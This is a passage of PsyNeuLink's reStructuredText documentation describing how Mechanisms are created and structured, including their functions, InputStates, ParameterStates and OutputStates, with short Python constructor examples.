<GatingMechanism>` - these use their input(s) to determine whether and how to modify the\n `value <State_Base.value>` of the `InputState(s) <InputState>` and/or `OutputState(s) <OutputState>` of other\n Mechanisms.\n |\n Each type of AdaptiveMechanism is associated with a corresponding type of `ModulatorySignal <ModulatorySignal>`\n (a type of `OutputState` specialized for use with the AdaptiveMechanism) and `ModulatoryProjection\n <ModulatoryProjection>`.\n\nEvery Mechanism is made up of four fundamental components:\n\n * `InputState(s) <InputState>` used to receive and represent its input(s);\n ..\n * `Function <Function>` used to transform its input(s) into its output(s);\n ..\n * `ParameterState(s) <ParameterState>` used to represent the parameters of its Function (and/or any\n parameters that are specific to the Mechanism itself);\n ..\n * `OutputState(s) <OutputState>` used to represent its output(s)\n\nThese are described in the sections on `Mechanism_Function` and `Mechanism_States` (`Mechanism_InputStates`,\n`Mechanism_ParameterStates`, and `Mechanism_OutputStates`), and shown graphically in a `figure <Mechanism_Figure>`,\nunder `Mechanism_Structure` below.\n\n.. _Mechanism_Creation:\n\nCreating a Mechanism\n--------------------\n\nMechanisms can be created in several ways. The simplest is to call the constructor for the desired type of Mechanism.\nAlternatively, the `mechanism` command can be used to create a specific type of Mechanism or an instance of\n`default_mechanism <Mechanism_Base.default_mechanism>`. Mechanisms can also be specified \"in context,\" for example in\nthe `pathway <Process.pathway>` attribute of a `Process`; the Mechanism can be specified in either of the ways\nmentioned above, or using one of the following:\n\n * the name of an **existing Mechanism**;\n ..\n * the name of a **Mechanism type** (subclass);\n ..\n * a **specification dictionary** -- this can contain an entry specifying the type of Mechanism,\n and/or entries specifying the value of parameters used to instantiate it.\n These should take the following form:\n\n * *MECHANISM_TYPE*: <name of a Mechanism type>\n if this entry is absent, a `default_mechanism <Mechanism_Base.default_mechanism>` will be created.\n\n * *NAME*: <str>\n the string will be used as the `name <Mechanism_Base.name>` of the Mechanism; if this entry is absent,\n the name will be the name of the Mechanism's type, suffixed with an index if there are any others of the\n same type for which a default name has been assigned.\n\n * <name of parameter>:<value>\n this can contain any of the `standard parameters <Mechanism_Additional_Attributes>` for instantiating a\n Mechanism or ones specific to a particular type of Mechanism (see documentation for the type). The key must\n be the name of the argument used to specify the parameter in the Mechanism's constructor, and the value must\n be a legal value for that parameter, using any of the ways allowed for `specifying a parameter\n <ParameterState_Specification>`. The parameter values specified will be used to instantiate the Mechanism.\n These can be overridden during execution by specifying `Mechanism_Runtime_Parameters`, either when calling\n the Mechanism's `execute <Mechanism_Base.execute>` or `run <Mechanism_Base.run>` method, or where it is\n specified in the `pathway <Process.pathway>` attribute of a `Process`.\n\n * **automatically** -- PsyNeuLink automatically creates one or more Mechanisms under some circumstances. For example,\n a `ComparatorMechanism` and `LearningMechanism <LearningMechanism>` are created automatically when `learning is\n specified <Process_Learning_Sequence>` for a Process; and an `ObjectiveMechanism` and `ControlMechanism\n <ControlMechanism>` are created when the `controller <System.controller>` is specified for a `System`.\n\n.. _Mechanism_State_Specification:\n\n*Specifying States*\n~~~~~~~~~~~~~~~~~~~\n\nEvery Mechanism has one or more `InputStates <InputState>`, `ParameterStates <ParameterState>`, and `OutputStates\n<OutputState>` (described `below <Mechanism_States>`) that allow it to receive and send `Projections <Projection>`,\nand to execute its `function <Mechanism_Base.function>`). When a Mechanism is created, it automatically creates the\nParameterStates it needs to represent its parameters, including those of its `function <Mechanism_Base.function>`.\nIt also creates any InputStates and OutputStates required for the Projections it has been assigned. InputStates and\nOutputStates, and corresponding Projections (including those from `ModulatorySignals <ModulatorySignal>`) can also be\nspecified explicitly in the **input_states** and **output_states** arguments of the Mechanism's constructor (see\n`Mechanism_InputStates` and `Mechanism_OutputStates`, respectively, as well as the `first example <Mechanism_Example_1>`\nbelow, and `State_Examples`). They can also be specified in a `parameter specification dictionary\n<ParameterState_Specification>` assigned to the Mechanism's **params** argument, using entries with the keys\n*INPUT_STATES* and *OUTPUT_STATES*, respectively (see `second example <Mechanism_Example_2>` below). While\nspecifying the **input_states** and **output_states** arguments directly is simpler and more convenient,\nthe dictionary format allows parameter sets to be created elsewhere and/or re-used. The value of each entry can be\nany of the allowable forms for `specifying a state <State_Specification>`. InputStates and OutputStates can also be\nadded to an existing Mechanism using its `add_states <Mechanism_Base.add_states>` method, although this is generally\nnot needed and can have consequences that must be considered (e.g., see `note <Mechanism_Add_InputStates_Note>`),\nand therefore is not recommended.\n\n.. _Mechanism_Default_State_Suppression_Note:\n\n .. note::\n When States are specified in the **input_states** or **output_states** arguments of a Mechanism's constructor,\n they replace any default States generated by the Mechanism when it is created (if no States were specified).\n This is particularly relevant for OutputStates, as most Mechanisms create one or more `Standard OutputStates\n <OutputState_Standard>` by default, that have useful properties. To retain those States if any are specified in\n the **output_states** argument, they must be included along with those states in the **output_states** argument\n (see `examples <State_Standard_OutputStates_Example>`). The same is true for default InputStates and the\n **input_states** argument.\n\n This behavior differs from adding a State once the Mechanism is created. States added to Mechanism using the\n Mechanism's `add_states <Mechanism_Base.add_states>` method, or by assigning the Mechanism in the **owner**\n argument of the State's constructor, are added to the Mechanism without replacing any of its existing States,\n including any default States that may have been generated when the Mechanism was created (see `examples\n <State_Create_State_Examples>` in State).\n\n\nExamples\n^^^^^^^^\n\n.. _Mechanism_Example_1:\n\nThe following example creates an instance of a TransferMechanism that names the default InputState ``MY_INPUT``,\nand assigns three `Standard OutputStates <OutputState_Standard>`::\n\n >>> import psyneulink as pnl\n >>> my_mech = pnl.TransferMechanism(input_states=['MY_INPUT'],\n ... output_states=[pnl.RESULT, pnl.OUTPUT_MEAN, pnl.OUTPUT_VARIANCE])\n\n\n.. _Mechanism_Example_2:\n\nThis shows how the same Mechanism can be specified using a dictionary assigned to the **params** argument::\n\n >>> my_mech = pnl.TransferMechanism(params={pnl.INPUT_STATES: ['MY_INPUT'],\n ... pnl.OUTPUT_STATES: [pnl.RESULT, pnl.OUTPUT_MEAN, pnl.OUTPUT_VARIANCE]})\n\nSee `State <State_Examples>` for additional examples of specifying the States of a Mechanism.\n\n.. _Mechanism_Parameter_Specification:\n\n*Specifying Parameters*\n~~~~~~~~~~~~~~~~~~~~~~~\n\nAs described `below <Mechanism_ParameterStates>`, Mechanisms have `ParameterStates <ParameterState>` that provide the\ncurrent value of a parameter used by the Mechanism and/or its `function <Mechanism_Base.function>` when it is `executed\n<Mechanism_Execution>`. These can also be used by a `ControlMechanism <ControlMechanism>` to control the parameters of\nthe Mechanism and/or it `function <Mechanism_Base.function>`. The value of any of these, and their control, can be\nspecified in the corresponding argument of the constructor for the Mechanism and/or its `function\n<Mechanism_Base.function>`, or in a parameter specification dictionary assigned to the **params** argument of its\nconstructor, as described under `ParameterState_Specification`.\n\n\n.. _Mechanism_Structure:\n\nStructure\n---------\n\n.. _Mechanism_Function:\n\n*Function*\n~~~~~~~~~~\n\nThe core of every Mechanism is its function, which transforms its input to generate its output. The function is\nspecified by the Mechanism's `function <Mechanism_Base.function>` attribute. Every type of Mechanism has at least one\n(primary) function, and some have additional (auxiliary) ones (for example, `TransferMechanism` and\n`EVCControlMechanism`). Mechanism functions are generally from the PsyNeuLink `Function` class. Most Mechanisms\nallow their function to be specified, using the `function` argument of the Mechanism's constructor. The function can\nbe specified using the name of `Function <Function>` class, or its constructor (including arguments that specify its\nparameters). For example, the `function <TransferMechanism.function>` of a `TransferMechanism`, which is `Linear` by\ndefault, can be specified to be the `Logistic` function as follows::\n\n >>> my_mechanism = pnl.TransferMechanism(function=pnl.Logistic(gain=1.0, bias=-4))\n\nNotice that the parameters of the :keyword:`function` (in this case, `gain` and `bias`) can be specified by including\nthem in its constructor. Some Mechanisms support only a single function. In that case, the :keyword:`function`\nargument is not available in the Mechanism's constructor, but it does include arguments for the function's\nparameters. For example, the :keyword:`function` of a `ComparatorMechanism` is always the `LinearCombination` function,\nso the Mechanisms' constructor does not have a :keyword:`function` argument. However, it does have a\n**comparison_operation** argument, that is used to set the LinearCombination function's `operation` parameter.\n\nThe parameters for a Mechanism's primary function can also be specified as entries in a *FUNCTION_PARAMS* entry of a\n`parameter specification dictionary <ParameterState_Specification>` in the **params** argument of the Mechanism's\nconstructor. For example, the parameters of the `Logistic` function in the example above can\nalso be assigned as follows::\n\n >>> my_mechanism = pnl.TransferMechanism(function=pnl.Logistic,\n ... params={pnl.FUNCTION_PARAMS: {pnl.GAIN: 1.0, pnl.BIAS: -4.0}})\n\nAgain, while not as simple as specifying these as arguments in the function's constructor, this format is more flexible.\nAny values specified in the parameter dictionary will **override** any specified within the constructor for the function\nitself (see `DDM <DDM_Creation>` for an example).\n\n.. _Mechanism_Function:\n\n`function <Mechanism_Base.function>` Attribute\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nThe `Function <Function>` Component assigned as the primary function of a Mechanism is assigned to the Mechanism's\n`function <Component.function>` attribute, and its `function <Function_Base.function>` is assigned\nto the Mechanism's `function <Mechanism_Base.function>` attribute.\n\n.. note::\n It is important to recognize the distinction between a `Function <Function>` and its `function\n <Function_Base.function>` attribute (note the difference in capitalization). A *Function* is a PsyNeuLink `Component\n <Component>`, that can be created using a constructor; a *function* is an attribute that contains a callable method\n belonging to a Function, and that is executed when the Component to which the Function belongs is executed.\n Functions are used to assign, store, and apply parameter values associated with their function (see `Function\n <Function_Overview> for a more detailed explanation).\n\nThe parameters of a Mechanism's `function <Mechanism_Base.function>` are attributes of its `function\n<Component.function>`, and can be accessed using standard \"dot\" notation for that object. For\nexample, the `gain <Logistic.gain>` and `bias <Logistic.bias>` parameters of the `Logistic` function in the example\nabove can be access as ``my_mechanism.function.gain`` and ``my_mechanism.function.bias``. They are\nalso assigned to a dictionary in the Mechanism's `function_params <Mechanism_Base.function_params>` attribute,\nand can be accessed using the parameter's name as the key for its entry in the dictionary. For example,\nthe parameters in the example above could also be accessed as ``my_mechanism.function_params[GAIN]`` and\n``my_mechanism.function_params[GAIN]``\n\nSome Mechanisms have auxiliary functions that are inherent (i.e., not made available as arguments in the Mechanism's\nconstructor; e.g., the `integrator_function <TransferMechanism.integrator_function>` of a `TransferMechanism`);\nhowever, the Mechanism may include parameters for those functions in its constructor (e.g., the **noise** argument in\nthe constructor for a `TransferMechanism` is used as the `noise <AdaptiveIntegrator.noise>` parameter of the\n`AdaptiveIntegrator` assigned to the TransferMechanism's `integrator_function <TransferMechanism.integrator_function>`).\n\nCOMMENT:\nNOT CURRENTLY IMPLEMENTED\nFor Mechanisms that offer a selection of functions for the primary function (such as the `TransferMechanism`), if all\nof the functions use the same parameters, then those parameters can also be specified as entries in a `parameter\nspecification dictionary <ParameterState_Specification>` as described above; however, any parameters that are unique\nto a particular function must be specified in a constructor for that function. For Mechanisms that have additional,\nauxiliary functions, those must be specified in arguments for them in the Mechanism's constructor, and their parameters\nmust be specified in constructors for those functions unless documented otherwise.\nCOMMENT\n\n\nCOMMENT:\n FOR DEVELOPERS:\n + FUNCTION : function or method : method used to transform Mechanism input to its output;\n This must be implemented by the subclass, or an exception will be raised;\n each item in the variable of this method must be compatible with a corresponding InputState;\n each item in the output of this method must be compatible with the corresponding OutputState;\n for any parameter of the method that has been assigned a ParameterState,\n the output of the ParameterState's own execute method must be compatible with\n the value of the parameter with the same name in params[FUNCTION_PARAMS] (EMP)\n + FUNCTION_PARAMS (dict):\n NOTE: function parameters can be specified either as arguments in the Mechanism's __init__ method,\n or by assignment of the function_params attribute for paramClassDefaults.\n Only one of these methods should be used, and should be chosen using the following principle:\n - if the Mechanism implements one function, then its parameters should be provided as arguments in the __init__\n - if the Mechanism implements several possible functions and they do not ALL share the SAME parameters,\n then the function should be provided as an argument but not they parameters; they should be specified\n as arguments in the specification of the function\n each parameter is instantiated as a ParameterState\n that will be placed in <Mechanism_Base>._parameter_states; each parameter is also referenced in\n the <Mechanism>.function_params dict, and assigned its own attribute (<Mechanism>.<param>).\nCOMMENT\n\n\n.. _Mechanism_Custom_Function:\n\nCustom Functions\n^^^^^^^^^^^^^^^^\n\nA Mechanism's `function <Mechanism_Base.function>` can be customized by assigning a user-defined function (e.g.,\na lambda function), so long as it takes arguments and returns values that are compatible with those of the\nMechanism's defaults for that function. This is also true for auxiliary functions that appear as arguments in a\nMechanism's constructor (e.g., the `EVCControlMechanism`). A user-defined function can be assigned using the Mechanism's\n`assign_params` method (the safest means) or by assigning it directly to the corresponding attribute of the Mechanism\n(for its primary function, its `function <Mechanism_Base.function>` attribute). When a user-defined function is\nspecified, it is automatically converted to a `UserDefinedFunction`.\n\n.. note::\n It is *strongly advised* that auxiliary functions that are inherent to a Mechanism\n (i.e., ones that do *not* appear as an argument in the Mechanism's constructor,\n such as the `integrator_function <TransferMechanism.integrator_function>` of a\n `TransferMechanism`) *not* be assigned custom functions; this is because their\n parameters are included as arguments in the constructor for the Mechanism,\n and thus changing the function could produce confusing and/or unpredictable effects.\n\n\nCOMMENT:\n When a custom function is specified,\n the function itself is assigned to the Mechanism's designated attribute. At the same time, PsyNeuLink automatically\n creates a `UserDefinedFunction` object, and assigns the custom function to its\n `function <UserDefinedFunction.function>` attribute.\nCOMMENT\n\n.. _Mechanism_Variable_and_Value:\n\n`variable <Mechanism_Base.variable>` and `value <Mechanism_Base.value>` Attributes\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nThe input to a Mechanism's `function <Mechanism_Base.function>` is provided by the Mechanism's `variable\n<Mechanism_Base.variable>` attribute. This is an ndarray that is at least 2d, with one item of its outermost\ndimension (axis 0) for each of the Mechanism's `input_states <Mechanism_Base.input_states>` (see\n`below <Mechanism_InputStates>`). The result of the `function <Mechanism_Base.function>` is placed in the\nMechanism's `value <Mechanism_Base.value>` attribute which is also at least a 2d array. The Mechanism's `value\n<Mechanism_Base.value>` is referenced by its `OutputStates <Mechanism_OutputStates>` to generate their own `value\n<OutputState.value>` attributes, each of which is assigned as the value of an item of the list in the Mechanism's\n`output_values <Mechanism_Base.output_values>` attribute (see `Mechanism_OutputStates` below).\n\n.. note::\n The input to a Mechanism is not necessarily the same as the input to its `function <Mechanism_Base.function>`. The\n input to a Mechanism is first processed by its `InputState(s) <Mechanism_InputStates>`, and then assigned to the\n Mechanism's `variable <Mechanism_Base>` attribute, which is used as the input to its `function\n <Mechanism_Base.function>`. Similarly, the result of a Mechanism's function is not necessarily the same as the\n Mechanism's output. The result of the `function <Mechanism_Base.function>` is assigned to the Mechanism's `value\n <Mechanism_Base.value>` attribute, which is then used by its `OutputState(s) <Mechanism_OutputStates>` to assign\n items to its `output_values <Mechanism_Base.output_values>` attribute.\n\n.. _Mechanism_States:\n\n*States*\n~~~~~~~~\n\nEvery Mechanism has one or more of each of three types of States: `InputState(s) <InputState>`,\n`ParameterState(s) <ParameterState>`, `and OutputState(s) <OutputState>`. Generally, these are created automatically\nwhen the Mechanism is created. InputStates and OutputStates (but not ParameterStates) can also be specified explicitly\nfor a Mechanism, or added to an existing Mechanism using its `add_states <Mechanism_Base.add_states>` method, as\ndescribed `above <Mechanism_State_Specification>`).\n\n.. _Mechanism_Figure:\n\nThe three types of States are shown schematically in the figure below, and described briefly in the following sections.\n\n.. figure:: _static/Mechanism_States_fig.svg\n :alt: Mechanism States\n :scale: 75 %\n :align: left\n\n **Schematic of a Mechanism showing its three types of States** (`InputState`, `ParameterState` and `OutputState`).\n Every Mechanism has at least one (`primary <InputState_Primary>`) InputState and one (`primary\n <OutputState_Primary>`) OutputState, but can have additional states of each type. It also has one\n `ParameterState` for each of its parameters and the parameters of its `function <Mechanism_Base.function>`.\n The `value <InputState.value>` of each InputState is assigned as an item of the Mechanism's `variable\n <Mechanism_Base.variable>`, and the result of its `function <Mechanism_Base.function>` is assigned as the Mechanism's\n `value <Mechanism_Base.value>`, the items of which are referenced by its OutputStates to determine their own\n `value <OutputState.value>`\\\\s (see `Mechanism_Variable_and_Value` above, and more detailed descriptions below).\n\n.. _Mechanism_InputStates:\n\nInputStates\n^^^^^^^^^^^\n\nThese receive, aggregate and represent the input to a Mechanism, and provide this to the Mechanism's `function\n<Mechanism_Base.function>`. Usually, a Mechanism has only one (`primary <InputState_Primary>`) `InputState`,\nidentified in its `input_state <Mechanism_Base.input_state>` attribute. However some Mechanisms have more than one\nInputState. For example, a `ComparatorMechanism` has one InputState for its **SAMPLE** and another for its **TARGET**\ninput. All of the Mechanism's InputStates (including its primary InputState <InputState_Primary>` are listed in its\n`input_states <Mechanism_Base.input_states>` attribute (note the plural). The `input_states\n<Mechanism_Base.input_states>` attribute is a ContentAddressableList -- a PsyNeuLink-defined subclass of the Python\nclass `UserList <https://docs.python.org/3.6/library/collections.html?highlight=userlist#collections.UserList>`_ --\nthat allows a specific InputState in the list to be accessed using its name as the index for the list (e.g.,\n``my_mechanism['InputState name']``).\n\n.. _Mechanism_Variable_and_InputStates:\n\nThe `value <InputState.value>` of each InputState for a Mechanism is assigned to a different item of the Mechanism's\n`variable <Mechanism_Base.variable>` attribute (a 2d np.array), as well as to a corresponding item of its `input_values\n<Mechanism_Base.input_values>` attribute (a list). The `variable <Mechanism_Base.variable>` provides the input to the\nMechanism's `function <Mechanism_Base.function>`, while its `input_values <Mechanism_Base.input_values>` provides a\nconvenient way of accessing the value of its individual items. Because there is a one-to-one correspondence between\na Mechanism's InputStates and the items of its `variable <Mechanism_Base.variable>`, their size along their outermost\ndimension (axis 0) must be equal; that is, the number of items in the Mechanism's `variable <Mechanism_Base.variable>`\nattribute must equal the number of InputStates in its `input_states <Mechanism_Base.input_states>` attribute. A\nMechanism's constructor does its best to insure this: if its **default_variable** and/or its **size** argument is\nspecified, it constructs a number of InputStates (and each with a `value <InputState.value>`) corresponding to the\nitems specified for the Mechanism's `variable <Mechanism_Base.variable>`, as in the examples below::\n\n my_mech_A = pnl.TransferMechanism(default_variable=[[0],[0,0]])\n print(my_mech_A.input_states)\n > [(InputState InputState-0), (InputState InputState-1)]\n print(my_mech_A.input_states[0].value)\n > [ 0.]\n print(my_mech_A.input_states[1].value)\n > [ 0. 0.]\n\n my_mech_B = pnl.TransferMechanism(default_variable=[[0],[0],[0]])\n print(my_mech_B.input_states)\n > [(InputState InputState-0), (InputState InputState-1), (InputState InputState-2)]\n\nConversely, if the **input_states** argument is used to specify InputStates for the Mechanism, they are used to format\nthe Mechanism's variable::\n\n my_mech_C = pnl.TransferMechanism(input_states=[[0,0], 'Hello'])\n print(my_mech_C.input_states)\n > [(InputState InputState-0), (InputState Hello)]\n print(my_mech_C.variable)\n > [array([0, 0]) array([0])]\n\nIf both the **default_variable** (or **size**) and **input_states** arguments are specified, then the number and format\nof their respective items must be the same (see `State <State_Examples>` for additional examples of specifying States).\n\nIf InputStates are added using the Mechanism's `add_states <Mechanism_Base.add_states>` method, then its\n`variable <Mechanism_Base.variable>` is extended to accommodate the number of InputStates added (note that this must\nbe coordinated with the Mechanism's `function <Mechanism_Base.function>`, which takes the Mechanism's `variable\n<Mechanism_Base.variable>` as its input (see `note <Mechanism_Add_InputStates_Note>`).\n\nThe order in which `InputStates are specified <Mechanism_InputState_Specification>` in the Mechanism's constructor,\nand/or `added <Mechanism_Add_InputStates>` using its `add_states <Mechanism_Base.add_states>` method, determines the\norder of the items to which they are assigned assigned in he Mechanism's `variable <Mechanism_Base.variable>`,\nand are listed in its `input_states <Mechanism_Base.input_states>` and `input_values <Mechanism_Base.input_values>`\nattribute. Note that a Mechanism's `input_values <Mechanism_Base.input_values>` attribute has the same information as\nthe Mechanism's `variable <Mechanism_Base.variable>`, but in the form of a list rather than an ndarray.\n\n.. _Mechanism_InputState_Specification:\n\n**Specifying InputStates and a Mechanism's** `variable <Mechanism_Base.variable>` **Attribute**\n\nWhen a Mechanism is created, the number and format of the items in its `variable <Mechanism_Base.variable>`\nattribute, as well as the number of InputStates it has and their `variable <InputState.variable>` and `value\n<InputState.value>` attributes, are determined by one of the following arguments in the Mechanism's constructor:\n\n* **default_variable** (at least 2d ndarray) -- determines the number and format of the items of the Mechanism's\n `variable <Mechanism_Base>` attribute. The number of items in its outermost dimension (axis 0) determines the\n number of InputStates created for the Mechanism, and the format of each item determines the format for the\n `variable <InputState.variable>` and `value <InputState.value>` attributes of the corresponding InputState.\n If any InputStates are specified in the **input_states** argument or an *INPUT_STATES* entry of\n a specification dictionary assigned to the **params** argument of the Mechanism's constructor, then the number\n must match the number of items in **default_variable**, or an error is generated. The format of the items in\n **default_variable** are used to specify the format of the `variable <InputState.variable>` or `value\n <InputState.value>` of the corresponding InputStates for any that are not explicitly specified in the\n **input_states** argument or *INPUT_STATES* entry (see below).\n..\n* **size** (int, list or ndarray) -- specifies the number and length of items in the Mechanism's variable,\n if **default_variable** is not specified. For example, the following mechanisms are equivalent::\n T1 = TransferMechanism(size = [3, 2])\n T2 = TransferMechanism(default_variable = [[0, 0, 0], [0, 0]])\n The relationship to any specifications in the **input_states** argument or\n *INPUT_STATES* entry of a **params** dictionary is the same as for the **default_variable** argument,\n with the latter taking precedence (see above).\n..\n* **input_states** (list) -- this can be used to explicitly `specify the InputStates <InputState_Specification>`\n created for the Mechanism. Each item must be an `InputState specification <InputState_Specification>`, and the number\n of items must match the number of items in the **default_variable** argument or **size** argument\n if either of those is specified. If the `variable <InputState.variable>` and/or `value <InputState.value>`\n is `explicitly specified for an InputState <InputState_Variable_and_Value>` in the **input_states** argument or\n *INPUT_STATES* entry of a **params** dictionary, it must be compatible with the value of the corresponding\n item of **default_variable**; otherwise, the format of the item in **default_variable** corresponding to the\n InputState is used to specify the format of the InputState's `variable <InputState.variable>` (e.g., the InputState is\n `specified using an OutputState <InputState_Projection_Source_Specification>` to project to it;). If\n **default_variable** is not specified, a default value is specified by the Mechanism. InputStates can also be\n specifed that `shadow the inputs <InputState_Shadow_Inputs>` of other InputStates and/or Mechanisms; that is, receive\n Projections from all of the same `senders <Projection.sender>` as those specified.\n\nCOMMENT:\n*** ADD SOME EXAMPLES HERE (see `examples <XXX>`)\nCOMMENT\n\nCOMMENT:\n*** ADD THESE TO ABOVE WHEN IMPLEMENTED:\n If more InputStates are specified than there are items in `variable <Mechanism_Base.variable>,\n the latter is extended to match the former.\n If the Mechanism's `variable <Mechanism_Base.variable>` has more than one item, it may still be assigned\n a single InputState; in that case, the `value <InputState.value>` of that InputState must have the same\n number of items as the Mechanisms's `variable <Mechanism_Base.variable>`.\nCOMMENT\n..\n* *INPUT_STATES* entry of a params dict (list) -- specifications are treated in the same manner as those in the\n **input_states** argument, and take precedence over those.\n\n.. _Mechanism_Add_InputStates:\n\n**Adding InputStates**\n\nInputStates can be added to a Mechanism using its `add_states <Mechanism_Base.add_states>` method; this extends its\n`variable <Mechanism_Base.variable>` by a number of items equal to the number of InputStates added, and each new item\nis assigned a format compatible with the `value <InputState.value>` of the corresponding InputState added; if the\nInputState's `variable <InputState.variable>` is not specified, it is assigned the default format for an item of the\nowner's `variable <Mechanism_Base.variable>` attribute. The InputStates are appended to the end of the list in the\nMechanism's `input_states <Mechanism_Base.input_states>` attribute. Adding in States in this manner does **not**\nreplace any existing States, including any default States generated when the Mechanism was constructed (this is\ncontrast to States specified in a Mechanism's constructor which **do** `replace any default State(s) of the same type\n<Mechanism_Default_State_Suppression_Note>`).\n\n.. _Mechanism_Add_InputStates_Note:\n\n.. note::\n Adding InputStates to a Mechanism using its `add_states <Mechanism_Base.add_states>` method may introduce an\n incompatibility with the Mechanism's `function <Mechanism_Base.function>`, which takes the Mechanism's `variable\n <Mechanism_Base.variable>` as its input; such an incompatibility will generate an error. It may also influence\n the number of OutputStates created for the Mechanism. It is the user's responsibility to ensure that the\n assignment of InputStates to a Mechanism using the `add_states <Mechanism_Base.add_states>` is coordinated with\n the specification of its `function <Mechanism_Base.function>`, so that the total number of InputStates (listed\n in the Mechanism's `input_states <Mechanism_Base.input_states>` attribute matches the number of items expected\n for the input to the function specified in the Mechanism's `function <Mechanism_Base.function>` attribute\n (i.e., its length along axis 0).\n\n.. _Mechanism_InputState_Projections:\n\n**Projections to InputStates**\n\nEach InputState of a Mechanism can receive one or more `Projections <Projection>` from other Mechanisms. When a\nMechanism is created, a `MappingProjection` is created automatically for any OutputStates or Projections from them\nthat are in its `InputState specification <InputState_Specification>`, using `AUTO_ASSIGN_MATRIX` as the Projection's\n`matrix specification <Mapping_Matrix_Specification>`. However, if a specification in the **input_states** argument\nor an *INPUT_STATES* entry of a **params** dictionary cannot be resolved to an instantiated OutputState at the time the\nMechanism is created, no MappingProjection is assigned to the InputState, and this must be done by some other means;\nany specifications in the Mechanism's `input_states <Mechanism_Base.input_states>` attribute that are not\nassociated with an instantiated OutputState at the time the Mechanism is executed are ignored.\n\nThe `PathwayProjections <PathwayProjection>` (e.g., `MappingProjections <MappingProjection>`) it receives are listed\nin its `path_afferents <InputState.path_afferents>` attribute. If the Mechanism is an `ORIGIN` Mechanism of a\n`Process`, this includes a Projection from the `ProcessInputState <Process_Input_And_Output>` for that Process. Any\n`GatingProjections <GatingProjection>` it receives are listed in its `mod_afferents <InputState.mod_afferents>`\nattribute.\n\n\n.. _Mechanism_ParameterStates:\n\nParameterStates and Parameters\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n`ParameterStates <ParameterState>` provide the value for each parameter of a Mechanism and its `function\n<Mechanism_Base.function>`. One ParameterState is assigned to each of the parameters of the Mechanism and/or its\n`function <Mechanism_Base.function>` (corresponding to the arguments in their constructors). The ParameterState takes\nthe value specified for a parameter (see `below <Mechanism_Parameter_Value_Specification>`) as its `variable\n<ParameterState.variable>`, and uses it as the input to the ParameterState's `function <ParameterState.function>`,\nwhich `modulates <ModulatorySignal_Modulation>` it in response to any `ControlProjections <ControlProjection>` received\nby the ParameterState (specified in its `mod_afferents <ParameterState.mod_afferents>` attribute), and assigns the\nresult to the ParameterState's `value <ParameterState.value>`. This is the value used by the Mechanism or its\n`function <Mechanism_Base.function>` when the Mechanism `executes <Mechanism_Execution>`. Accordingly, when the value\nof a parameter is accessed (e.g., using \"dot\" notation, such as ``my_mech.my_param``), it is actually the\n*ParameterState's* `value <ParameterState.value>` that is returned (thereby accurately reflecting the value used\nduring the last execution of the Mechanism or its `function <Mechanism_Base.function>`). The ParameterStates for a\nMechanism are listed in its `parameter_states <Mechanism_Base.parameter_states>` attribute.\n\n.. _Mechanism_Parameter_Value_Specification:\n\nThe \"base\" value of a parameter (i.e., the unmodulated value used as the ParameterState's `variable\n<ParameterState.variable>` and the input to its `function <ParameterState.function>`) can specified when a Mechanism\nand/or its `function <Mechanism_Base.function>` are first created, using the corresponding arguments of their\nconstructors (see `Mechanism_Function` above). Parameter values can also be specified later, by direct assignment of a\nvalue to the attribute for the parameter, or by using the Mechanism's `assign_param` method (the recommended means;\nsee `ParameterState_Specification`). Note that the attributes for the parameters of a Mechanism's `function\n<Mechanism_Base.function>` usually belong to the `Function <Function_Overview>` referenced in its `function\n<Component.function>` attribute, not the Mechanism itself, and therefore must be assigned to the Function\nComponent (see `Mechanism_Function` above).\n\nAll of the Mechanism's parameters are listed in a dictionary in its `user_params` attribute; that dictionary contains\na *FUNCTION_PARAMS* entry that contains a sub-dictionary with the parameters of the Mechanism's `function\n<Mechanism_Base.function>`. The *FUNCTION_PARAMS* sub-dictionary is also accessible directly from the Mechanism's\n`function_params <Mechanism_Base.function_params>` attribute.\n\n.. _Mechanism_OutputStates:\n\nOutputStates\n^^^^^^^^^^^^\nThese represent the output(s) of a Mechanism. A Mechanism can have several `OutputStates <OutputState>`, and each can\nsend Projections that transmit its value to other Mechanisms and/or as the output of the `Process` or `System` to which\nthe Mechanism belongs. Every Mechanism has at least one OutputState, referred to as its `primary OutputState\n<OutputState_Primary>`. If OutputStates are not explicitly specified for a Mechanism, a primary OutputState is\nautomatically created and assigned to its `output_state <Mechanism_Base.output_state>` attribute (note the singular),\nand also to the first entry of the Mechanism's `output_states <Mechanism_Base.output_states>` attribute (note the\nplural). The `value <OutputState.value>` of the primary OutputState is assigned as the first (and often only) item\nof the Mechanism's `value <Mechanism_Base.value>` attribute, which is the result of the Mechanism's `function\n<Mechanism_Base.function>`. Additional OutputStates can be assigned to represent values corresponding to other items\nof the Mechanism's `value <Mechanism_Base.value>` (if there are any) and/or values derived from any or all of those\nitems. `Standard OutputStates <OutputState_Standard>` are available for each type of Mechanism, and custom ones can\nbe configured (see `OutputState Specification <OutputState_Specification>`. These can be assigned in the\n**output_states** argument of the Mechanism's constructor.\n\nAll of a Mechanism's OutputStates (including the primary one) are listed in its `output_states\n<Mechanism_Base.output_states>` attribute (note the plural). The `output_states <Mechanism_Base.output_states>`\nattribute is a ContentAddressableList -- a PsyNeuLink-defined subclass of the Python class\n`UserList <https://docs.python.org/3.6/library/collections.html?highlight=userlist#collections.UserList>`_ -- that\nallows a specific OutputState in the list to be accessed using its name as the index for the list (e.g.,\n``my_mechanism['OutputState name']``). This list can also be used to assign additional OutputStates to the Mechanism\nafter it has been created.\n\nThe `value <OutputState.value>` of each of the Mechanism's OutputStates is assigned as an item in the Mechanism's\n`output_values <Mechanism_Base.output_values>` attribute, in the same order in which they are listed in its\n`output_states <Mechanism_Base.output_states>` attribute. Note, that the `output_values <Mechanism_Base.output_values>`\nattribute of a Mechanism is distinct from its `value <Mechanism_Base.value>` attribute, which contains the full and\nunmodified results of its `function <Mechanism_Base.function>` (this is because OutputStates can modify the item of\nthe Mechanism`s `value <Mechanism_Base.value>` to which they refer -- see `OutputStates <OutputState_Customization>`).\n\n\n.. _Mechanism_Additional_Attributes:\n\n*Additional Attributes*\n~~~~~~~~~~~~~~~~~~~~~~~\n\n.. _Mechanism_Constructor_Arguments:\n\nAdditional Constructor Arguments\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nIn addition to the `standard attributes <Component_Structure>` of any 